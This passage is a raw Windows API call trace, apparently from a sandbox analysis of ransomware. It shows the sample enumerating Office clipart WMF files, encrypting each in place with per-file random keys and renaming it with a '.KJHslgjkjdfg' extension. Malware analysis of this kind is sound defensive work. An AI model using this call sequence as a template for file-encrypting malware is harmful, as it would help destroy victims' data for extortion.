nFileSizeLow=0x4b28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105276.WMF", cAlternateFileName="")) returned 1 [0192.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.746] GetProcessHeap () returned 0x990000 [0192.746] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.746] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.746] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.747] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.749] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.749] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.749] GetProcessHeap () returned 0x990000 [0192.749] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.749] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.749] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.750] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.750] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.750] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.750] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.750] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.750] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.750] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.750] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.750] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.750] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4b28, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4b28, lpOverlapped=0x0) returned 1 [0192.752] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4b30, dwBufLen=0x4b30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4b30) returned 1 [0192.752] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.752] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4b30, lpOverlapped=0x0) returned 1 [0192.752] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.752] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.752] SetEndOfFile (hFile=0x130) returned 1 [0192.755] GetProcessHeap () returned 0x990000 [0192.755] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.755] GetProcessHeap () returned 0x990000 [0192.755] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.755] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.kjhslgjkjdfg")) returned 1 [0192.757] CloseHandle (hObject=0x130) returned 1 [0192.757] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105280.WMF", cAlternateFileName="")) returned 1 [0192.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.759] GetProcessHeap () returned 0x990000 [0192.759] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.759] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.760] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0192.762] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.762] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.762] GetProcessHeap () returned 0x990000 [0192.762] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.762] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.762] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.762] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.763] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.763] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.763] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.763] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.763] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.763] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.763] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.763] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.763] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2d14, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2d14, lpOverlapped=0x0) returned 1 [0192.764] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2d20, dwBufLen=0x2d20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2d20) returned 1 [0192.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.765] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2d20, lpOverlapped=0x0) returned 1 [0192.765] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2df4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.765] SetEndOfFile (hFile=0x130) returned 1 [0192.768] GetProcessHeap () returned 0x990000 [0192.768] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.768] GetProcessHeap () returned 0x990000 [0192.768] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.768] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.kjhslgjkjdfg")) returned 1 [0192.770] CloseHandle (hObject=0x130) returned 1 [0192.770] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105282.WMF", cAlternateFileName="")) returned 1 [0192.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.771] GetProcessHeap () returned 0x990000 [0192.771] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.771] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.771] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.774] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.774] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.774] GetProcessHeap () returned 0x990000 [0192.774] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.774] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.774] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.774] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.774] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.774] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.774] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.775] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.775] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.775] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.775] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.775] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.775] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x12bc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x12bc, lpOverlapped=0x0) returned 1 [0192.776] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x12c0, dwBufLen=0x12c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x12c0) returned 1 [0192.776] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.776] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x12c0, lpOverlapped=0x0) returned 1 [0192.776] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.776] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.776] SetEndOfFile (hFile=0x130) returned 1 [0192.779] GetProcessHeap () returned 0x990000 [0192.779] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.779] GetProcessHeap () returned 0x990000 [0192.779] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.779] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.kjhslgjkjdfg")) returned 1 [0192.781] CloseHandle (hObject=0x130) returned 1 [0192.781] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105286.WMF", cAlternateFileName="")) returned 1 [0192.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.781] GetProcessHeap () returned 0x990000 [0192.781] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.782] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.782] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.784] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.784] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.784] GetProcessHeap () returned 0x990000 [0192.784] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.784] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.784] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.784] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.784] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.785] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.785] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.785] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.785] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.785] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.785] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.785] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.785] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x19a8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x19a8, lpOverlapped=0x0) returned 1 [0192.789] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x19b0, dwBufLen=0x19b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x19b0) returned 1 [0192.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.789] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x19b0, lpOverlapped=0x0) returned 1 [0192.790] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.790] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.790] SetEndOfFile (hFile=0x130) returned 1 [0192.792] GetProcessHeap () returned 0x990000 [0192.792] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.792] GetProcessHeap () returned 0x990000 [0192.793] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.793] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.kjhslgjkjdfg")) returned 1 [0192.794] CloseHandle (hObject=0x130) returned 1 [0192.794] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105288.WMF", cAlternateFileName="")) returned 1 [0192.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.795] GetProcessHeap () returned 0x990000 [0192.795] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.795] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.795] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.795] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.797] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.797] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.797] GetProcessHeap () returned 0x990000 [0192.797] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.797] CryptEncrypt (in: 